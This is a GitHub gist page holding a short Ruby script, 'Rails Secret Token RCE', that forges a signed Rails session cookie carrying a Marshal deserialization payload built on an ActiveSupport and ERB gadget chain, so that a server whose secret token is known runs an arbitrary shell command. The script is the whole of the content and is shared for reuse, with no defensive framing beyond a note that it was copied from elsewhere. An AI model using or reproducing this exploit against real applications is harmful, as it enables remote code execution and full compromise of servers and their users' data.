Skip to content

Instantly share code, notes, and snippets.

@hvvvva

hvvvva/rails-secret-token-rce.rb

Forked from rootxharsh/rails-secret-token-rce.rb
Created October 31, 2020 02:49
Show Gist options
  • Save hvvvva/31ebbca4475e4c3b064afd1b209ad2d9 to your computer and use it in GitHub Desktop.
Save hvvvva/31ebbca4475e4c3b064afd1b209ad2d9 to your computer and use it in GitHub Desktop.
Download ZIP
Rails Secret Token RCE.
Raw
rails-secret-token-rce.rb
#THIS IS COPIED FROM SOME WHERE. I just saved it in my gists so this can come handy to others
require 'base64'
require 'openssl'
require 'optparse'
require 'open-uri'
SECRET_TOKEN = "SECRET HERE"
code = "eval('`COMMAND HERE`')"
marshal_payload = Base64.encode64(
"\x04\x08" +
"o" +
":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy" +
"\x07" +
":\x0E@instance" +
"o" + ":\x08ERB" + "\x06" +
":\x09@src" +
Marshal.dump(code)[2..-1] +
":\x0C@method" + ":\x0Bresult"
).chomp
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new("SHA1"),
SECRET_TOKEN, marshal_payload)
marshal_payload = URI::encode(marshal_payload)
puts "#{marshal_payload}--#{digest}"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment